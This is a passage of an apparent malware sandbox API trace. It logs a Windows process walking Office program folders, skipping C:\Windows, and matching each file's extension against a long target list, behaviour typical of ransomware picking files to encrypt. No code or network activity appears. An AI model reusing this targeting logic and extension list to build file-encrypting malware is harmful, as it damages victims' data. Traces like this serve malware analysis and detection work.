FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.263] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0009600, ftCreationTime.dwHighDateTime=0x1ca0588, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0009600, ftLastWriteTime.dwHighDateTime=0x1ca0588, nFileSizeHigh=0x0, nFileSizeLow=0x393c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="DISCUS~1.JPG")) returned 1 [0248.264] lstrlenW (lpString="DiscussionToolIconImages.jpg") returned 28 [0248.264] lstrlenW (lpString=".1cd") returned 4 [0248.770] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.771] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolHomePageBackground.jpg", cAlternateFileName="WSSFIL~1.JPG")) returned 1 [0248.771] lstrlenW (lpString="WSSFilesToolHomePageBackground.jpg") returned 34 [0248.771] lstrlenW (lpString=".1cd") returned 4 [0249.348] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.822] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2519, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImage.jpg", cAlternateFileName="ACTIVE~1.JPG")) returned 1 [0249.822] lstrlenW (lpString="ActiveTabImage.jpg") returned 18 [0249.822] lstrlenW (lpString=".1cd") returned 4 [0249.823] FindClose (in: hFindFile=0x624540 | out: hFindFile=0x624540) returned 1 [0249.825] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x43ae000 | out: hHeap=0x590000) returned 1 [0249.825] FindNextFileW (in: hFindFile=0x6244c0, lpFindFileData=0x38eee18 | out: lpFindFileData=0x38eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms", cAlternateFileName="GROOVE~3")) returned 1 [0249.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms") returned 81 [0249.826] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms") returned 1 [0249.826] lstrlenW (lpString="GrooveForms") returned 11 [0249.826] lstrcmpiW (lpString1="C:\\Windows", lpString2="GrooveForms") returned -1 [0249.826] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x43ae000 [0249.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms") returned 81 [0249.826] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624540 [0250.270] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.274] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="ADDTOV~1.JPG")) returned 1 [0250.274] lstrlenW (lpString="AddToViewArrow.jpg") returned 18 [0250.274] lstrlenW (lpString=".1cd") returned 4 [0250.274] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0250.274] lstrlenW (lpString=".3ds") returned 4 [0250.274] lstrcmpiW (lpString1=".3ds", lpString2=".jpg") returned -1 [0250.274] lstrlenW (lpString=".3fr") returned 4 [0250.274] lstrcmpiW (lpString1=".3fr", lpString2=".jpg") returned -1 [0250.274] lstrlenW (lpString=".3g2") returned 4 [0250.274] lstrcmpiW (lpString1=".3g2", lpString2=".jpg") returned -1 [0250.274] lstrlenW (lpString=".3gp") returned 4 [0250.274] lstrcmpiW (lpString1=".3gp", lpString2=".jpg") returned -1 [0250.274] lstrlenW (lpString=".7z") returned 3 [0250.274] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0250.274] lstrlenW (lpString=".accda") returned 6 [0250.275] lstrcmpiW (lpString1=".accda", lpString2="ow.jpg") returned -1 [0250.275] lstrlenW (lpString=".accdb") returned 6 [0250.275] lstrcmpiW (lpString1=".accdb", lpString2="ow.jpg") returned -1 [0250.275] lstrlenW (lpString=".accdc") returned 6 [0250.275] lstrcmpiW (lpString1=".accdc", lpString2="ow.jpg") returned -1 [0250.275] lstrlenW (lpString=".accde") returned 6 [0250.275] lstrcmpiW (lpString1=".accde", lpString2="ow.jpg") returned -1 [0250.275] lstrlenW (lpString=".accdt") returned 6 [0250.275] lstrcmpiW (lpString1=".accdt", lpString2="ow.jpg") returned -1 [0250.275] lstrlenW (lpString=".accdw") returned 6 [0250.275] lstrcmpiW (lpString1=".accdw", lpString2="ow.jpg") returned -1 [0250.275] lstrlenW (lpString=".adb") returned 4 [0250.275] lstrcmpiW (lpString1=".adb", lpString2=".jpg") returned -1 [0250.275] lstrlenW (lpString=".adp") returned 4 [0250.276] lstrcmpiW (lpString1=".adp", lpString2=".jpg") returned -1 [0250.276] lstrlenW (lpString=".ai") returned 3 [0250.276] lstrcmpiW (lpString1=".ai", lpString2="jpg") returned -1 [0250.276] lstrlenW (lpString=".ai3") returned 4 [0250.276] lstrcmpiW (lpString1=".ai3", lpString2=".jpg") returned -1 [0250.276] lstrlenW (lpString=".ai4") returned 4 [0250.276] lstrcmpiW (lpString1=".ai4", lpString2=".jpg") returned -1 [0250.276] lstrlenW (lpString=".ai5") returned 4 [0250.276] lstrcmpiW (lpString1=".ai5", lpString2=".jpg") returned -1 [0250.276] lstrlenW (lpString=".ai6") returned 4 [0250.276] lstrcmpiW (lpString1=".ai6", lpString2=".jpg") returned -1 [0250.276] lstrlenW (lpString=".ai7") returned 4 [0250.276] lstrcmpiW (lpString1=".ai7", lpString2=".jpg") returned -1 [0250.277] lstrlenW (lpString=".ai8") returned 4 [0250.277] lstrcmpiW (lpString1=".ai8", lpString2=".jpg") returned -1 [0250.277] lstrlenW (lpString=".anim") returned 5 [0250.277] lstrcmpiW (lpString1=".anim", lpString2="w.jpg") returned -1 [0250.277] lstrlenW (lpString=".arw") returned 4 [0250.277] lstrcmpiW (lpString1=".arw", lpString2=".jpg") returned -1 [0250.277] lstrlenW (lpString=".as") returned 3 [0250.277] lstrcmpiW (lpString1=".as", lpString2="jpg") returned -1 [0250.277] lstrlenW (lpString=".asa") returned 4 [0250.277] lstrcmpiW (lpString1=".asa", lpString2=".jpg") returned -1 [0250.277] lstrlenW (lpString=".asc") returned 4 [0250.277] lstrcmpiW (lpString1=".asc", lpString2=".jpg") returned -1 [0250.278] lstrlenW (lpString=".ascx") returned 5 [0250.278] lstrcmpiW (lpString1=".ascx", lpString2="w.jpg") returned -1 [0250.278] lstrlenW (lpString=".asm") returned 4 [0250.278] lstrcmpiW (lpString1=".asm", lpString2=".jpg") returned -1 [0250.278] lstrlenW (lpString=".asmx") returned 5 [0250.278] lstrcmpiW (lpString1=".asmx", lpString2="w.jpg") returned -1 [0250.278] lstrlenW (lpString=".asp") returned 4 [0250.278] lstrcmpiW (lpString1=".asp", lpString2=".jpg") returned -1 [0250.278] lstrlenW (lpString=".aspx") returned 5 [0250.278] lstrcmpiW (lpString1=".aspx", lpString2="w.jpg") returned -1 [0250.278] lstrlenW (lpString=".asr") returned 4 [0250.278] lstrcmpiW (lpString1=".asr", lpString2=".jpg") returned -1 [0250.278] lstrlenW (lpString=".asx") returned 4 [0250.279] lstrcmpiW (lpString1=".asx", lpString2=".jpg") returned -1 [0250.279] lstrlenW (lpString=".avi") returned 4 [0250.279] lstrcmpiW (lpString1=".avi", lpString2=".jpg") returned -1 [0250.279] lstrlenW (lpString=".avs") returned 4 [0250.279] lstrcmpiW (lpString1=".avs", lpString2=".jpg") returned -1 [0250.279] lstrlenW (lpString=".backup") returned 7 [0250.279] lstrcmpiW (lpString1=".backup", lpString2="row.jpg") returned -1 [0250.279] lstrlenW (lpString=".bak") returned 4 [0250.279] lstrcmpiW (lpString1=".bak", lpString2=".jpg") returned -1 [0250.279] lstrlenW (lpString=".bay") returned 4 [0250.279] lstrcmpiW (lpString1=".bay", lpString2=".jpg") returned -1 [0250.279] lstrlenW (lpString=".bd") returned 3 [0250.279] lstrcmpiW (lpString1=".bd", lpString2="jpg") returned -1 [0250.279] lstrlenW (lpString=".bin") returned 4 [0250.280] lstrcmpiW (lpString1=".bin", lpString2=".jpg") returned -1 [0250.280] lstrlenW (lpString=".bmp") returned 4 [0250.280] lstrcmpiW (lpString1=".bmp", lpString2=".jpg") returned -1 [0250.280] lstrlenW (lpString=".bz2") returned 4 [0250.280] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0250.280] lstrlenW (lpString=".c") returned 2 [0250.280] lstrcmpiW (lpString1=".c", lpString2="pg") returned -1 [0250.284] lstrlenW (lpString=".cdr") returned 4 [0250.284] lstrcmpiW (lpString1=".cdr", lpString2=".jpg") returned -1 [0250.285] lstrlenW (lpString=".cer") returned 4 [0250.285] lstrcmpiW (lpString1=".cer", lpString2=".jpg") returned -1 [0250.285] lstrlenW (lpString=".cf") returned 3 [0250.285] lstrcmpiW (lpString1=".cf", lpString2="jpg") returned -1 [0250.285] lstrlenW (lpString=".cfc") returned 4 [0250.285] lstrcmpiW (lpString1=".cfc", lpString2=".jpg") returned -1 [0250.285] lstrlenW (lpString=".cfm") returned 4 [0250.285] lstrcmpiW (lpString1=".cfm", lpString2=".jpg") returned -1 [0250.285] lstrlenW (lpString=".cfml") returned 5 [0250.285] lstrcmpiW (lpString1=".cfml", lpString2="w.jpg") returned -1 [0250.285] lstrlenW (lpString=".cfu") returned 4 [0250.285] lstrcmpiW (lpString1=".cfu", lpString2=".jpg") returned -1 [0250.285] lstrlenW (lpString=".chm") returned 4 [0250.285] lstrcmpiW (lpString1=".chm", lpString2=".jpg") returned -1 [0250.286] lstrlenW (lpString=".cin") returned 4 [0250.286] lstrcmpiW (lpString1=".cin", lpString2=".jpg") returned -1 [0250.286] lstrlenW (lpString=".class") returned 6 [0250.286] lstrcmpiW (lpString1=".class", lpString2="ow.jpg") returned -1 [0250.286] lstrlenW (lpString=".clx") returned 4 [0250.286] lstrcmpiW (lpString1=".clx", lpString2=".jpg") returned -1 [0250.286] lstrlenW (lpString=".config") returned 7 [0250.286] lstrcmpiW (lpString1=".config", lpString2="row.jpg") returned -1 [0250.286] lstrlenW (lpString=".cpp") returned 4 [0250.286] lstrcmpiW (lpString1=".cpp", lpString2=".jpg") returned -1 [0250.286] lstrlenW (lpString=".cr2") returned 4 [0250.286] lstrcmpiW (lpString1=".cr2", lpString2=".jpg") returned -1 [0250.286] lstrlenW (lpString=".crt") returned 4 [0250.287] lstrcmpiW (lpString1=".crt", lpString2=".jpg") returned -1 [0250.287] lstrlenW (lpString=".crw") returned 4 [0250.287] lstrcmpiW (lpString1=".crw", lpString2=".jpg") returned -1 [0250.287] lstrlenW (lpString=".cs") returned 3 [0250.287] lstrcmpiW (lpString1=".cs", lpString2="jpg") returned -1 [0250.287] lstrlenW (lpString=".css") returned 4 [0250.287] lstrcmpiW (lpString1=".css", lpString2=".jpg") returned -1 [0250.287] lstrlenW (lpString=".csv") returned 4 [0250.287] lstrcmpiW (lpString1=".csv", lpString2=".jpg") returned -1 [0250.287] lstrlenW (lpString=".cub") returned 4 [0250.287] lstrcmpiW (lpString1=".cub", lpString2=".jpg") returned -1 [0250.287] lstrlenW (lpString=".dae") returned 4 [0250.287] lstrcmpiW (lpString1=".dae", lpString2=".jpg") returned -1 [0250.287] lstrlenW (lpString=".dat") returned 4 [0250.288] lstrcmpiW (lpString1=".dat", lpString2=".jpg") returned -1 [0250.288] lstrlenW (lpString=".db") returned 3 [0250.288] lstrcmpiW (lpString1=".db", lpString2="jpg") returned -1 [0250.288] lstrlenW (lpString=".dbf") returned 4 [0250.288] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0250.288] lstrlenW (lpString=".dbx") returned 4 [0250.288] lstrcmpiW (lpString1=".dbx", lpString2=".jpg") returned -1 [0250.288] lstrlenW (lpString=".dc3") returned 4 [0250.288] lstrcmpiW (lpString1=".dc3", lpString2=".jpg") returned -1 [0250.288] lstrlenW (lpString=".dcm") returned 4 [0250.288] lstrcmpiW (lpString1=".dcm", lpString2=".jpg") returned -1 [0250.288] lstrlenW (lpString=".dcr") returned 4 [0250.288] lstrcmpiW (lpString1=".dcr", lpString2=".jpg") returned -1 [0250.289] lstrlenW (lpString=".der") returned 4 [0250.289] lstrcmpiW (lpString1=".der", lpString2=".jpg") returned -1 [0250.289] lstrlenW (lpString=".dib") returned 4 [0250.289] lstrcmpiW (lpString1=".dib", lpString2=".jpg") returned -1 [0250.289] lstrlenW (lpString=".dic") returned 4 [0250.289] lstrcmpiW (lpString1=".dic", lpString2=".jpg") returned -1 [0250.289] lstrlenW (lpString=".dif") returned 4 [0250.289] lstrcmpiW (lpString1=".dif", lpString2=".jpg") returned -1 [0250.289] lstrlenW (lpString=".divx") returned 5 [0250.289] lstrcmpiW (lpString1=".divx", lpString2="w.jpg") returned -1 [0250.289] lstrlenW (lpString=".djvu") returned 5 [0250.289] lstrcmpiW (lpString1=".djvu", lpString2="w.jpg") returned -1 [0250.289] lstrlenW (lpString=".dng") returned 4 [0250.289] lstrcmpiW (lpString1=".dng", lpString2=".jpg") returned -1 [0250.290] lstrlenW (lpString=".doc") returned 4 [0250.290] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0250.290] lstrlenW (lpString=".docm") returned 5 [0250.290] lstrcmpiW (lpString1=".docm", lpString2="w.jpg") returned -1 [0250.290] lstrlenW (lpString=".docx") returned 5 [0250.290] lstrcmpiW (lpString1=".docx", lpString2="w.jpg") returned -1 [0250.290] lstrlenW (lpString=".dot") returned 4 [0250.290] lstrcmpiW (lpString1=".dot", lpString2=".jpg") returned -1 [0250.290] lstrlenW (lpString=".dotm") returned 5 [0250.290] lstrcmpiW (lpString1=".dotm", lpString2="w.jpg") returned -1 [0250.290] lstrlenW (lpString=".dotx") returned 5 [0250.290] lstrcmpiW (lpString1=".dotx", lpString2="w.jpg") returned -1 [0250.291] lstrlenW (lpString=".dpx") returned 4 [0250.291] lstrcmpiW (lpString1=".dpx", lpString2=".jpg") returned -1 [0250.291] lstrlenW (lpString=".dqy") returned 4 [0250.291] lstrcmpiW (lpString1=".dqy", lpString2=".jpg") returned -1 [0250.291] lstrlenW (lpString=".dsn") returned 4 [0250.291] lstrcmpiW (lpString1=".dsn", lpString2=".jpg") returned -1 [0250.291] lstrlenW (lpString=".dt") returned 3 [0250.291] lstrcmpiW (lpString1=".dt", lpString2="jpg") returned -1 [0250.291] lstrlenW (lpString=".dtd") returned 4 [0250.291] lstrcmpiW (lpString1=".dtd", lpString2=".jpg") returned -1 [0250.291] lstrlenW (lpString=".dwg") returned 4 [0250.291] lstrcmpiW (lpString1=".dwg", lpString2=".jpg") returned -1 [0250.291] lstrlenW (lpString=".dwt") returned 4 [0250.292] lstrcmpiW (lpString1=".dwt", lpString2=".jpg") returned -1 [0250.292] lstrlenW (lpString=".dx") returned 3 [0250.292] lstrcmpiW (lpString1=".dx", lpString2="jpg") returned -1 [0250.292] lstrlenW (lpString=".dxf") returned 4 [0250.292] lstrcmpiW (lpString1=".dxf", lpString2=".jpg") returned -1 [0250.292] lstrlenW (lpString=".edml") returned 5 [0250.292] lstrcmpiW (lpString1=".edml", lpString2="w.jpg") returned -1 [0250.292] lstrlenW (lpString=".efd") returned 4 [0250.292] lstrcmpiW (lpString1=".efd", lpString2=".jpg") returned -1 [0250.292] lstrlenW (lpString=".elf") returned 4 [0250.292] lstrcmpiW (lpString1=".elf", lpString2=".jpg") returned -1 [0250.292] lstrlenW (lpString=".emf") returned 4 [0250.292] lstrcmpiW (lpString1=".emf", lpString2=".jpg") returned -1 [0250.292] lstrlenW (lpString=".emz") returned 4 [0250.292] lstrcmpiW (lpString1=".emz", lpString2=".jpg") returned -1 [0250.293] lstrlenW (lpString=".epf") returned 4 [0250.293] lstrcmpiW (lpString1=".epf", lpString2=".jpg") returned -1 [0250.293] lstrlenW (lpString=".eps") returned 4 [0250.293] lstrcmpiW (lpString1=".eps", lpString2=".jpg") returned -1 [0250.293] lstrlenW (lpString=".epsf") returned 5 [0250.293] lstrcmpiW (lpString1=".epsf", lpString2="w.jpg") returned -1 [0250.293] lstrlenW (lpString=".epsp") returned 5 [0250.293] lstrcmpiW (lpString1=".epsp", lpString2="w.jpg") returned -1 [0250.293] lstrlenW (lpString=".erf") returned 4 [0250.293] lstrcmpiW (lpString1=".erf", lpString2=".jpg") returned -1 [0250.293] lstrlenW (lpString=".exr") returned 4 [0250.293] lstrcmpiW (lpString1=".exr", lpString2=".jpg") returned -1 [0250.294] lstrlenW (lpString=".f4v") returned 4 [0250.294] lstrcmpiW (lpString1=".f4v", lpString2=".jpg") returned -1 [0250.294] lstrlenW (lpString=".fido") returned 5 [0250.294] lstrcmpiW (lpString1=".fido", lpString2="w.jpg") returned -1 [0250.294] lstrlenW (lpString=".flm") returned 4 [0250.294] lstrcmpiW (lpString1=".flm", lpString2=".jpg") returned -1 [0250.294] lstrlenW (lpString=".flv") returned 4 [0250.294] lstrcmpiW (lpString1=".flv", lpString2=".jpg") returned -1 [0250.294] lstrlenW (lpString=".frm") returned 4 [0250.294] lstrcmpiW (lpString1=".frm", lpString2=".jpg") returned -1 [0250.294] lstrlenW (lpString=".fxg") returned 4 [0250.294] lstrcmpiW (lpString1=".fxg", lpString2=".jpg") returned -1 [0250.294] lstrlenW (lpString=".geo") returned 4 [0250.295] lstrcmpiW (lpString1=".geo", lpString2=".jpg") returned -1 [0250.295] lstrlenW (lpString=".gif") returned 4 [0250.295] lstrcmpiW (lpString1=".gif", lpString2=".jpg") returned -1 [0250.295] lstrlenW (lpString=".grs") returned 4 [0250.295] lstrcmpiW (lpString1=".grs", lpString2=".jpg") returned -1 [0250.295] lstrlenW (lpString=".gz") returned 3 [0250.295] lstrcmpiW (lpString1=".gz", lpString2="jpg") returned -1 [0250.295] lstrlenW (lpString=".h") returned 2 [0250.295] lstrcmpiW (lpString1=".h", lpString2="pg") returned -1 [0250.295] lstrlenW (lpString=".hdr") returned 4 [0250.295] lstrcmpiW (lpString1=".hdr", lpString2=".jpg") returned -1 [0250.295] lstrlenW (lpString=".hpp") returned 4 [0250.295] lstrcmpiW (lpString1=".hpp", lpString2=".jpg") returned -1 [0250.295] lstrlenW (lpString=".hta") returned 4 [0250.295] lstrcmpiW (lpString1=".hta", lpString2=".jpg") returned -1 [0250.296] lstrlenW (lpString=".htc") returned 4 [0250.296] lstrcmpiW (lpString1=".htc", lpString2=".jpg") returned -1 [0250.296] lstrlenW (lpString=".htm") returned 4 [0250.296] lstrcmpiW (lpString1=".htm", lpString2=".jpg") returned -1 [0250.296] lstrlenW (lpString=".html") returned 5 [0250.296] lstrcmpiW (lpString1=".html", lpString2="w.jpg") returned -1 [0250.296] lstrlenW (lpString=".icb") returned 4 [0250.297] lstrcmpiW (lpString1=".icb", lpString2=".jpg") returned -1 [0250.297] lstrlenW (lpString=".ics") returned 4 [0250.297] lstrcmpiW (lpString1=".ics", lpString2=".jpg") returned -1 [0250.297] lstrlenW (lpString=".iff") returned 4 [0250.297] lstrcmpiW (lpString1=".iff", lpString2=".jpg") returned -1 [0250.297] lstrlenW (lpString=".inc") returned 4 [0250.297] lstrcmpiW (lpString1=".inc", lpString2=".jpg") returned -1 [0250.297] lstrlenW (lpString=".indd") returned 5 [0250.297] lstrcmpiW (lpString1=".indd", lpString2="w.jpg") returned -1 [0250.297] lstrlenW (lpString=".ini") returned 4 [0250.297] lstrcmpiW (lpString1=".ini", lpString2=".jpg") returned -1 [0250.297] lstrlenW (lpString=".iqy") returned 4 [0250.297] lstrcmpiW (lpString1=".iqy", lpString2=".jpg") returned -1 [0250.298] lstrlenW (lpString=".j2c") returned 4 [0250.298] lstrcmpiW (lpString1=".j2c", lpString2=".jpg") returned -1 [0250.298] lstrlenW (lpString=".j2k") returned 4 [0250.298] lstrcmpiW (lpString1=".j2k", lpString2=".jpg") returned -1 [0250.298] lstrlenW (lpString=".java") returned 5 [0250.298] lstrcmpiW (lpString1=".java", lpString2="w.jpg") returned -1 [0250.298] lstrlenW (lpString=".jp2") returned 4 [0250.298] lstrcmpiW (lpString1=".jp2", lpString2=".jpg") returned -1 [0250.298] lstrlenW (lpString=".jpc") returned 4 [0250.298] lstrcmpiW (lpString1=".jpc", lpString2=".jpg") returned -1 [0250.298] lstrlenW (lpString=".jpe") returned 4 [0250.298] lstrcmpiW (lpString1=".jpe", lpString2=".jpg") returned -1 [0250.298] lstrlenW (lpString=".jpeg") returned 5 [0250.299] lstrcmpiW (lpString1=".jpeg", lpString2="w.jpg") returned -1 [0250.299] lstrlenW (lpString=".jpf") returned 4 [0250.299] lstrcmpiW (lpString1=".jpf", lpString2=".jpg") returned -1 [0250.299] lstrlenW (lpString=".jpg") returned 4 [0250.299] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0250.299] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x924, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrowMask.bmp", cAlternateFileName="ADDTOV~1.BMP")) returned 1 [0250.299] lstrlenW (lpString="AddToViewArrowMask.bmp") returned 22 [0250.299] lstrlenW (lpString=".1cd") returned 4 [0250.299] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0250.299] lstrlenW (lpString=".3ds") returned 4 [0250.299] lstrcmpiW (lpString1=".3ds", lpString2=".bmp") returned -1 [0250.299] lstrlenW (lpString=".3fr") returned 4 [0250.300] lstrcmpiW (lpString1=".3fr", lpString2=".bmp") returned -1 [0250.300] lstrlenW (lpString=".3g2") returned 4 [0250.300] lstrcmpiW (lpString1=".3g2", lpString2=".bmp") returned -1 [0250.300] lstrlenW (lpString=".3gp") returned 4 [0250.300] lstrcmpiW (lpString1=".3gp", lpString2=".bmp") returned -1 [0250.300] lstrlenW (lpString=".7z") returned 3 [0250.300] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0250.300] lstrlenW (lpString=".accda") returned 6 [0250.300] lstrcmpiW (lpString1=".accda", lpString2="sk.bmp") returned -1 [0250.300] lstrlenW (lpString=".accdb") returned 6 [0250.300] lstrcmpiW (lpString1=".accdb", lpString2="sk.bmp") returned -1 [0250.300] lstrlenW (lpString=".accdc") returned 6 [0250.301] lstrcmpiW (lpString1=".accdc", lpString2="sk.bmp") returned -1 [0250.301] lstrlenW (lpString=".accde") returned 6 [0250.301] lstrcmpiW (lpString1=".accde", lpString2="sk.bmp") returned -1 [0250.301] lstrlenW (lpString=".accdt") returned 6 [0250.301] lstrcmpiW (lpString1=".accdt", lpString2="sk.bmp") returned -1 [0250.301] lstrlenW (lpString=".accdw") returned 6 [0250.301] lstrcmpiW (lpString1=".accdw", lpString2="sk.bmp") returned -1 [0250.301] lstrlenW (lpString=".adb") returned 4 [0250.301] lstrcmpiW (lpString1=".adb", lpString2=".bmp") returned -1 [0250.301] lstrlenW (lpString=".adp") returned 4 [0250.301] lstrcmpiW (lpString1=".adp", lpString2=".bmp") returned -1 [0250.301] lstrlenW (lpString=".ai") returned 3 [0250.301] lstrcmpiW (lpString1=".ai", lpString2="bmp") returned -1 [0250.301] lstrlenW (lpString=".ai3") returned 4 [0250.302] lstrcmpiW (lpString1=".ai3", lpString2=".bmp") returned -1 [0250.302] lstrlenW (lpString=".ai4") returned 4 [0250.302] lstrcmpiW (lpString1=".ai4", lpString2=".bmp") returned -1 [0250.302] lstrlenW (lpString=".ai5") returned 4 [0250.302] lstrcmpiW (lpString1=".ai5", lpString2=".bmp") returned -1 [0250.302] lstrlenW (lpString=".ai6") returned 4 [0250.302] lstrcmpiW (lpString1=".ai6", lpString2=".bmp") returned -1 [0250.302] lstrlenW (lpString=".ai7") returned 4 [0250.302] lstrcmpiW (lpString1=".ai7", lpString2=".bmp") returned -1 [0250.302] lstrlenW (lpString=".ai8") returned 4 [0250.302] lstrcmpiW (lpString1=".ai8", lpString2=".bmp") returned -1 [0250.302] lstrlenW (lpString=".anim") returned 5 [0250.302] lstrcmpiW (lpString1=".anim", lpString2="k.bmp") returned -1 [0250.303] lstrlenW (lpString=".arw") returned 4 [0250.303] lstrcmpiW (lpString1=".arw", lpString2=".bmp") returned -1 [0250.303] lstrlenW (lpString=".as") returned 3 [0250.303] lstrcmpiW (lpString1=".as", lpString2="bmp") returned -1 [0250.303] lstrlenW (lpString=".asa") returned 4 [0250.303] lstrcmpiW (lpString1=".asa", lpString2=".bmp") returned -1 [0250.303] lstrlenW (lpString=".asc") returned 4 [0250.303] 